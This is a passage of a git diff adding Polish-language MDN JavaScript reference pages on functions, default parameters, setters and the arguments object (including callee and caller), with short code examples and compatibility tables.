+<h3 id="Determining_whether_a_function_exists">Determining whether a function exists</h3>
+
+<p>You can determine whether a function exists by using the <code>typeof</code> operator. In the following example, a test is performed to determine if the <code>window</code> object has a property called <code>noFunc</code> that is a function. If so, it is used; otherwise some other action is taken.</p>
+
+<pre class="brush: js"> if ('function' == typeof window.noFunc) {
+ // use noFunc()
+ } else {
+ // do something else
+ }
+</pre>
+
+<p>Note that in the <code>if</code> test, a reference to <code>noFunc</code> is used—there are no brackets "()" after the function name so the actual function is not called.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-13', 'Function Definition')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>New: Arrow functions, Generator functions, default parameters, rest parameters.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Generator functions</td>
+ <td>39</td>
+ <td>{{CompatGeckoDesktop("26.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>26</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Arrow functions</td>
+ <td>{{CompatChrome(45.0)}}</td>
+ <td>{{CompatGeckoDesktop("22.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOpera(32)}}</td>
+ <td>10</td>
+ </tr>
+ <tr>
+ <td>Block-level functions</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("46.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Generator functions</td>
+ <td>{{CompatUnknown}}</td>
+ <td>39</td>
+ <td>{{CompatGeckoMobile("26.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>26</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Arrow functions</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile("22.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Block-level functions</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("46.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Statements/function*", "function* statement")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li>{{jsxref("Functions/Arrow_functions", "Arrow functions")}}</li>
+ <li>{{jsxref("Functions/Default_parameters", "Default parameters")}}</li>
+ <li>{{jsxref("Functions/rest_parameters", "Rest parameters")}}</li>
+ <li>{{jsxref("Functions/arguments", "Arguments object")}}</li>
+ <li>{{jsxref("Functions/get", "getter")}}</li>
+ <li>{{jsxref("Functions/set", "setter")}}</li>
+ <li>{{jsxref("Functions/Method_definitions", "Method definitions")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope">Functions and function scope</a></li>
+</ul>
diff --git a/files/pl/web/javascript/reference/functions/parametry_domyślne/index.html b/files/pl/web/javascript/reference/functions/parametry_domyślne/index.html
new file mode 100644
index 0000000000..b192456adf
--- /dev/null
+++ b/files/pl/web/javascript/reference/functions/parametry_domyślne/index.html
@@ -0,0 +1,225 @@
+---
+title: Parametry domyślne
+slug: Web/JavaScript/Reference/Functions/Parametry_domyślne
+tags:
+ - ECMAScript2015
+ - Funkcje
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Functions/Default_parameters
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><span class="seoSummary"><strong>Domyślne parametry funkcji</strong> pozwalają na inicjalizację nazwanych parametrów wartościami domyślnymi tam, gdzie nie została podana żadna wartość lub jako wartość podano <code>undefined</code>.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/js/functions-default.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">function [nazwa]([parametr1[ = domyślnaWartość1 ][, ..., parametrN[ = domyślnaWartośćN ]]]) {
+ ciało funkcji
+}
+</pre>
+
+<h2 id="Opis">Opis</h2>
+
+<p>W języku JavaScript domyślną wartością parametrów funkcji jest <code>{{jsxref("undefined")}}</code>. Często jednak dobrze jest ustawić inną wartość domyślną – wówczas parametry domyślne okazują się pomocne.</p>
+
+<p>W przeszłości, ogólną strategią na ustawianie domyślnych wartości było sprawdzanie parametrów w ciele funkcji – w sytuacji, w których były one równe <code>undefined</code>, przypisywano im konkretne wartości.</p>
+
+<p>W następującym przykładzie, jeśli żadna wartość nie jest podana jako <code>b</code>, kiedy wywoływana jest funkcja <code>pomnóż</code>, wartość <code>b</code> powinna być równa <code>undefined</code> – wówczas funkcja powinna zwrócić <code>NaN</code> jako wynik operacji <code>a * b</code>.</p>
+
+<pre class="brush: js">function pomnóż(a, b) {
+ return a * b;
+}
+
+pomnóż(5, 2); // 10
+pomnóż(5); // NaN !
+</pre>
+
+<p>Aby się przed tym uchronić, należy użyć czegoś takiego, jak w drugiej linijce, gdzie wartość <code>b</code> jest ustawiana na <code>1</code>, jeśli funkcja <code>pomnóż</code> jest wywoływana tylko z jednym argumentem.</p>
+
+<pre class="brush: js">function pomnóż(a, b) {
+ b = (typeof b !== 'undefined') ? b : 1;
+ return a * b;
+}
+
+pomnóż(5, 2); // 10
+pomnóż(5); // 5
+</pre>
+
+<p>Dzięki parametrom domyślnym w ES2015, tego rodzaju sprawdzanie wartości parametrów w ciele funkcji nie jest już konieczne. Można teraz przypisać <code>1</code> jako domyślną wartość w nagłówku funkcji:</p>
+
+<pre class="brush: js">function pomnóż(a, b = 1) {
+ return a * b;
+}
+
+pomnóż(5, 2); // 10
+pomnóż(5); // 5
+</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Przekazywanie_undefined_kontra_inne_puste_wartości">Przekazywanie <code>undefined</code> kontra inne <em>puste wartości</em></h3>
+
+<p>W drugim wywołaniu funkcji w tym przykłądzie, nawet jeśli jako pierwszy argument wprost podany <code>undefined</code> (jednak nie <code>null</code> lub inne <em><a href="/en-US/docs/Glossary/Falsy">puste</a> wartości</em>), wartością argumentu <code>num</code> dalej będzie wartość domyślna.</p>
+
+<pre class="brush: js">function test(num = 1) {
+ console.log(typeof num);
+}
+
+test(); // 'number' (num jest ustawiany na 1)
+test(undefined); // 'number' (num również jest ustawiany na 1)
+
+// test z innymi "pustymi" wartościami:
+test(''); // 'string' (num jest ustawiany na '')
+test(null); // 'object' (num jest ustawiany na null)
+</pre>
+
+<h3 id="Ewaluacja_w_czasie_wykonania">Ewaluacja w czasie wykonania</h3>
+
+<p>Domyślne argumenty są przypisywane w czasie wykonania, a więc w odróżnieniu od np. Pythona, nowy obiekt jest tworzony przy każdym wywołaniu funkcji.</p>
+
+<pre class="brush: js">function append(wartość, tablica = []) {
+ array.push(wartość);
+ return tablica;
+}
+
+append(1); //[1]
+append(2); //[2], nie [1, 2]
+</pre>
+
+<p>Dotyczy to również funkcji i zmiennych:</p>
+
+<pre class="brush: js">function callSomething(thing = something()) {
+ return thing;
+}
+
+let numberOfTimesCalled = 0;
+function something() {
+ numberOfTimesCalled += 1;
+ return numberOfTimesCalled;
+}
+
+callSomething(); // 1
+callSomething(); // 2</pre>
+
+<h3 id="Domyślne_parametry_są_dostępne_dla_późniejszych_domyślnych_parametrów">Domyślne parametry są dostępne dla późniejszych domyślnych parametrów</h3>
+
+<p>Parametry zdefiniowane wcześniej (bardziej na lewo na liście parametrów), są dostępne dla domyślnych parametrów definiowanych później:</p>
+
+<pre class="brush: js">function pozdrów(imię, pozdrowienie, wiadomość = pozdrowienie + ' ' + imię) {
+    return [imię, pozdrowienie, wiadomość];
+}
+
+pozdrów('Dawid', 'Cześć');  // ["Dawid", "Cześć", "Cześć Dawid"]
+pozdrów('Dawid', 'Cześć', 'Wszystkiego najlepszego!');  // ["Dawid", "Cześć", "Wszystkiego najlepszego!"]
+</pre>
+
+<p>Ta funkcjonalność może być przybliżona w ten sposób, pokazujący, jak wiele przypadków brzegowych może być obsłużonych:</p>
+
+<pre class="brush: js">function go() {
+ return ':P';
+}
+
+function withDefaults(a, b = 5, c = b, d = go(), e = this,
+ f = arguments, g = this.value) {
+ return [a, b, c, d, e, f, g];
+}
+
+function withoutDefaults(a, b, c, d, e, f, g) {
+ switch (arguments.length) {
+ case 0:
+ a;
+ case 1:
+ b = 5;
+ case 2:
+ c = b;
+ case 3:
+ d = go();
+ case 4:
+ e = this;
+ case 5:
+ f = arguments;
+ case 6:
+ g = this.value;
+ default:
+ }
+ return [a, b, c, d, e, f, g];
+}
+
+withDefaults.call({value: '=^_^='});
+// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
+
+withoutDefaults.call({value: '=^_^='});
+// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
+</pre>
+
+<h3 id="Funkcje_definiowane_w_ciele_funkcji">Funkcje definiowane w ciele funkcji</h3>
+
+<p>Wprowadzone w Gecko 33 {{geckoRelease(33)}}. Funkcje deklarowane w ciele funkcji nie mogą być używane jako wartości domyślne w tej samej funkcji. Przy takiej próbie, wyrzucany jest jest {{jsxref("ReferenceError")}}. Parametr domyślny zawsze wykonywany jest jako pierwszy, a więc deklaracje w ciele funkcji są ewaluowane później.</p>
+
+<pre class="brush: js">// Nie działa! Wyrzuca ReferenceError.
+function f(a = go()) {
+ function go() { return ':P'; }
+}
+</pre>
+
+<h3 id="Parametry_bez_wartości_domyślnych_po_parametrach_domyślnych">Parametry bez wartości domyślnych po parametrach domyślnych</h3>
+
+<p>Przed Gecko 26 {{geckoRelease(26)}}, poniższy kod zwracał {{jsxref("SyntaxError")}}. Zostało to naprawione w {{bug(777060)}}. Wartości parametrów dalej są ustawiane w kolejności od lewej do prawej, nadpisując domyślne parametry, nawet jeśli występują potem parametry bez wartości domyślnych.</p>
+
+<pre class="brush: js">function f(x = 1, y) {
+ return [x, y];
+}
+
+f(); // [1, undefined]
+f(2); // [2, undefined]
+</pre>
+
+<h3 id="Parametr_destrukturyzowany_z_przypisaniem_domyślnej_wartości">Parametr destrukturyzowany z przypisaniem domyślnej wartości</h3>
+
+<p>Możesz też użyć przypisania domyślnej wartości z notacją <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">parametru destruktyryzowanego</a>:</p>
+
+<pre class="brush: js">function f([x, y] = [1, 2], {z: z} = {z: 3}) {
+ return x + y + z;
+}
+
+f(); // 6</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-function-definitions', 'Function Definitions')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function Definitions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.functions.default_parameters")}}</p>
+</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:parameter_default_values" rel="external" title="http://wiki.ecmascript.org/doku.php?id=harmony:parameter_default_values">Original proposal at ecmascript.org</a></li>
+</ul>
diff --git a/files/pl/web/javascript/reference/functions/set/index.html b/files/pl/web/javascript/reference/functions/set/index.html
new file mode 100644
index 0000000000..d3eb6ad31d
--- /dev/null
+++ b/files/pl/web/javascript/reference/functions/set/index.html
@@ -0,0 +1,146 @@
+---
+title: setter
+slug: Web/JavaScript/Reference/Functions/set
+translation_of: Web/JavaScript/Reference/Functions/set
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>Składnia <strong><code>set</code></strong> wiąże właściwość obiektu z funkcją, która zostanie wywołana przy próbie przypisania wartości danej właściwości.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/functions-setter.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">{set <em>prop</em>(<em>val</em>) { . . . }}
+{set [expression](<em>val</em>) { . . . }}</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Nazwa właściwości wiązanej z określoną funkcją.</dd>
+</dl>
+
+<dl>
+ <dt><code>val</code></dt>
+ <dd>Zmienna przechowująca wartość przekazaną do przypisania do właściwości <code>prop.</code></dd>
+ <dt>expression</dt>
+ <dd>Począwszy od ECMAScript 2015, można również użyć wyrażeń w celu połaczenia funkcji z nazwą właściwości, która jest obliczana.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Setter może być użyty do wywołania określonej funkcji przy każdej próbie przypisania wartości do danej właściwości. Settery są najczęściej używane razem z getterami żeby utworzyć rodzaj pseudo-właściwości. Nie ma możliwości jednoczesnego używania settera oraz faktycznej wartości przypisanej do danej właściwości.</p>
+
+<p>Uwagi do składni <code>set</code>:</p>
+
+<div>
+<ul>
+ <li>Można utworzyć identyfikator typu number lub string;</li>
+ <li>Setter musi mieć jeden paramter (sprawdź szczegóły <a class="external" href="http://whereswalden.com/2010/08/22/incompatible-es5-change-literal-getter-and-setter-functions-must-now-have-exactly-zero-or-one-arguments/" rel="external nofollow">Niekompatybilna zmiana <abbr title="ECMAScript 5th edition">ES5</abbr>: gettery i settery muszą mieć dokładnie zero lub one argument</a>);</li>
+ <li>Setter nie może być zdefiniowany kilkukrotnie dla danej właściwości. Jednoczesne użycie settera i faktycznej wartości przypisanej do właściwości jest zabronione<br>
+ ( <code>{ set x(v) { }, set x(v) { } }</code> oraz <code>{ x: ..., set x(v) { } }</code> są zabronione)</li>
+</ul>
+</div>
+
+<p>Setter może być usunięty przy użyciu operatora <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete"><code>delete</code></a>.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Definicja_settera_w_nowym_obiekcie_podczas_inicjalizacji">Definicja settera w nowym obiekcie podczas inicjalizacji</h3>
+
+<p>Poniższa składnia definiuje pseudo-właściwość <code>current</code> obiektu <font face="consolas, Liberation Mono, courier, monospace">language</font>, która podczas przypisania wartości aktualizuje tablicę <code>log</code> o tą wartość:</p>
+
+<pre class="brush: js">var language = {
+ set current(name) {
+ this.log.push(name);
+ },
+ log: []
+}
+
+language.current = 'EN';
+console.log(language.log); // ['EN']
+
+language.current = 'FA';
+console.log(language.log); // ['EN', 'FA']
+</pre>
+
+<p>Zwróć uwagę, że właściwość <code>current</code> nie jest zdefiniowana i próby odczytu zwrócą <code>undefined</code>.</p>
+
+<h3 id="Usuwanie_settera_przy_użyciu_operatora_delete">Usuwanie settera przy użyciu operatora <code>delete</code></h3>
+
+<p>Setter może zostać usunięty przy użyciu <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code>:</p>
+
+<pre class="brush: js">delete o.current;
+</pre>
+
+<h3 id="Definicja_settera_dla_istniejącego_obiektu_przy_użyciu_defineProperty">Definicja settera dla istniejącego obiektu przy użyciu <code>defineProperty</code></h3>
+
+<p>Aby zdefiniować setter dla istniejącego obiektu po jego uprzednim utworzeniu użyj {{jsxref("Object.defineProperty()")}}.</p>
+
+<pre class="brush: js">var o = {a: 0};
+
+Object.defineProperty(o, 'b', { set: function(x) { this.a = x / 2; } });
+
+o.b = 10; // Uruchamia setter, który przypisuje 10 / 2 (5) do właściwości 'a'
+console.log(o.a) // 5</pre>
+
+<h3 id="Używanie_wyrażenia_do_obliczenia_nazwy_settera">Używanie wyrażenia do obliczenia nazwy settera</h3>
+
+<pre class="brush: js">var expr = 'foo';
+
+var obj = {
+ baz: 'bar',
+ set [expr](v) { this.baz = v; }
+};
+
+console.log(obj.baz); // "bar"
+obj.foo = 'baz'; // uruchom setter
+console.log(obj.baz); // "baz"
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-method-definitions', 'Method definitions')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Added computed property names.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2>
+
+
+
+<p>{{Compat("javascript.functions.set")}}</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a></li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineGetter", "__defineGetter__")}}</li>
+ <li>{{jsxref("Object.defineSetter", "__defineSetter__")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Defining Getters and Setters</a> in JavaScript Guide</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/funkcje/arguments/callee/index.html b/files/pl/web/javascript/referencje/funkcje/arguments/callee/index.html
new file mode 100644
index 0000000000..50b76e1f63
--- /dev/null
+++ b/files/pl/web/javascript/referencje/funkcje/arguments/callee/index.html
@@ -0,0 +1,60 @@
+---
+title: callee
+slug: Web/JavaScript/Referencje/Funkcje/arguments/callee
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Functions/arguments/callee
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Określa aktualnie wykonywaną funkcję.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">Własność obiektów <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments">arguments</a> i <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function/arguments">Function.arguments</a> (Wycofywany)</td>
+</tr>
+<tr>
+<td>Zaimplementowano w:</td>
+<td>JavaScript 1.2
+<p>JavaScript 1.4: <code>callee</code> wycofywany jako własność <code>Function.arguments</code>, zachowany jako własność zmiennej lokalnej <code>arguments</code> funkcji.
+</p>
+</td>
+</tr>
+<tr>
+<td>Wersja ECMA:</td>
+<td>ECMA-262</td>
+</tr>
+</tbody></table>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p><code>callee</code> jest własnością zmiennej lokalnej <code>arguments</code> dostępnej wewnątrz wszystkich obiektów funkcji; <code>callee</code> jako własność <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function/arguments">Function.arguments</a></code> nie jest już używana (również sam obiekt <code>Function.arguments</code> jest wycofywany).
+</p><p><code>arguments.callee</code> pozwala anonimowym funkcjom odwoływać się do siebie samych, co jest potrzebne w przypadku rekursywnych anonimowych funkcji.
+</p><p>Słowo kluczowe <code>this</code> nie odwołuje się do aktualnie wykonywanej funkcji. Użyj własności <code>callee</code>, aby odwołać się do funkcji z poziomu jej ciała.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<h4 id="Przyk.C5.82ad:_Zastosowanie_arguments.callee_w_anonimowych_funkcjach_rekursywnych" name="Przyk.C5.82ad:_Zastosowanie_arguments.callee_w_anonimowych_funkcjach_rekursywnych"> Przykład: Zastosowanie <code>arguments.callee</code> w anonimowych funkcjach rekursywnych </h4>
+<p>Funkcja rekursywna musi mieć możliwość odwołania się do siebie samej. Zazwyczaj funkcja odwołuje się do samej siebie wykorzystując swoją nazwę. Jednakże anonimowa funkcja nie posiada nazwy i jeśli w łańcuchu zasięgu nie istnieje zmienna odwołująca się do tej funkcji, tj. funkcja nie jest przypisana do żadnej zmiennej, to funkcja ta nie ma możliwości odwołania się do siebie samej (anonimowe funkcje można tworzyć przy użyciu <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_function">wyrażenia function</a> lub <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">konstruktora <code>Function</code></a>). W tym miejscu wkracza <code>arguments.callee</code>.
+</p><p>Poniższy przykład definiuje funkcję, która z kolei definiuje i zwraca funkcję obliczającą silnię.
+</p>
+<pre class="eval">function makeFactorialFunc() {
+ alert('tworzenie funkcji obliczającej silnię!');
+ return function(x) {
+ if (x &lt;= 1)
+ return 1;
+ return x * arguments.callee(x - 1);
+ };
+}
+
+var result = makeFactorialFunc()(5); // zwraca 120 (5 * 4 * 3 * 2 * 1)
+</pre>
+<p><span class="comment">this example isn't very practical, but then again, there are few practical cases where arguments.callee is necessary, and most of the those cases involve closures</span>
+</p><p><br>
+</p><p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Functions/arguments/callee", "es": "es/Referencia_de_JavaScript_1.5/Funciones/arguments/callee", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Fonctions/arguments/callee", "ja": "ja/Core_JavaScript_1.5_Reference/Functions/arguments/callee" } ) }}
diff --git a/files/pl/web/javascript/referencje/funkcje/arguments/caller/index.html b/files/pl/web/javascript/referencje/funkcje/arguments/caller/index.html
new file mode 100644
index 0000000000..1eb9d8279b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/funkcje/arguments/caller/index.html
@@ -0,0 +1,48 @@
+---
+title: caller
+slug: Web/JavaScript/Referencje/Funkcje/arguments/caller
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/JavaScript/arguments.caller
+---
+<p>
+{{ Obsolete_header() }}
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Określa funkcję, która wywołała aktualnie wykonywaną funkcję.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">Własność funkcji: <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments">arguments</a></td>
+</tr>
+<tr>
+<td>Zaimplementowana w:</td>
+<td>JavaScript 1.1, NES 2.0
+<p>JavaScript 1.3: Wycofywana.
+<span class="comment">JavaScript ??: Removed</span>
+</p>
+</td>
+</tr>
+</tbody></table>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p><b><code>arguments.caller</code> nie może być już stosowana.</b> Zamiast tego należy użyć niestandardowej własności <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function/caller">caller</a></code> obiektu funkcji. Szczegóły można znaleźć w jej opisie.
+</p><p>Własność <code>arguments.caller</code> jest dostępna tylko wewnątrz ciała funkcji.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>Poniższy kod sprawdza wartość <code>arguments.caller</code> w funkcji.
+</p>
+<pre class="eval">function myFunc() {
+ if (arguments.caller == null) {
+ return ("Funkcja została wywołana z góry!");
+ } else
+ return ("Funkcję wywołano poprzez " + arguments.caller);
+}
+</pre>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Functions/arguments/caller", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Fonctions/arguments/caller", "ja": "ja/Core_JavaScript_1.5_Reference/Functions/arguments/caller" } ) }}
diff --git a/files/pl/web/javascript/referencje/funkcje/arguments/index.html b/files/pl/web/javascript/referencje/funkcje/arguments/index.html
new file mode 100644
index 0000000000..8a48b5b323
--- /dev/null
+++ b/files/pl/web/javascript/referencje/funkcje/arguments/index.html
@@ -0,0 +1,129 @@
+---
+title: arguments
+slug: Web/JavaScript/Referencje/Funkcje/arguments
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Functions/arguments
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Tablicopodobny obiekt odpowiadający argumentom przekazanym do funkcji.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">
+Zmienna lokalna we wszystkich funkcjach oraz wycofywana własność obiektu <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">Function</a></td>
+</tr>
+<tr>
+<td>Zaimplementowana w:</td>
+<td>JavaScript 1.1, NES 2.0
+<p>JavaScript 1.2: dodano własność <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/callee">arguments.callee</a></code>.
+</p><p>JavaScript 1.3: wycofywana własność <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/caller">arguments.caller</a></code>; usunięto obsługę nazw argumentów oraz zmiennych lokalnych jako własności obiektu <code>arguments</code>.
+</p><p>JavaScript 1.4: wycofywane <code>arguments</code>, <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/callee">arguments.callee</a></code> oraz <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/length">arguments.length</a></code> jako własności <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">Function</a></code>; zachowanie <code>arguments</code> jako lokalnej zmiennej funkcji oraz <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/callee">arguments.callee</a></code> oraz <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/length">arguments.length</a></code> jako własności tej zmiennej.
+</p>
+</td>
+</tr>
+<tr>
+<td>Wersja ECMA:</td>
+<td>ECMA-262</td>
+</tr>
+</tbody></table>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>Obiekt <code>arguments</code> jest zmienną lokalną dostępną wewnątrz każdej funkcji; <code>arguments</code> jako własność <code>Function</code> nie może być już używana.
+</p><p>Do argumentów wewnątrz funkcji możesz odwołać się używając obiektu <code>arguments</code>. Obiekt ten zawiera pozycję dla każdego argumentu przekazanego funkcji, przy czym indeks pierwszego z nich ma wartość 0. Na przykład, jeśli do funkcji przekazane są trzy argumenty, można się do nich odwołać w następujący sposób:
+</p>
+<pre class="eval">arguments[0]
+arguments[1]
+arguments[2]
+</pre>
+<p>Argumentom mogą być również przypisywane wartości:
+</p>
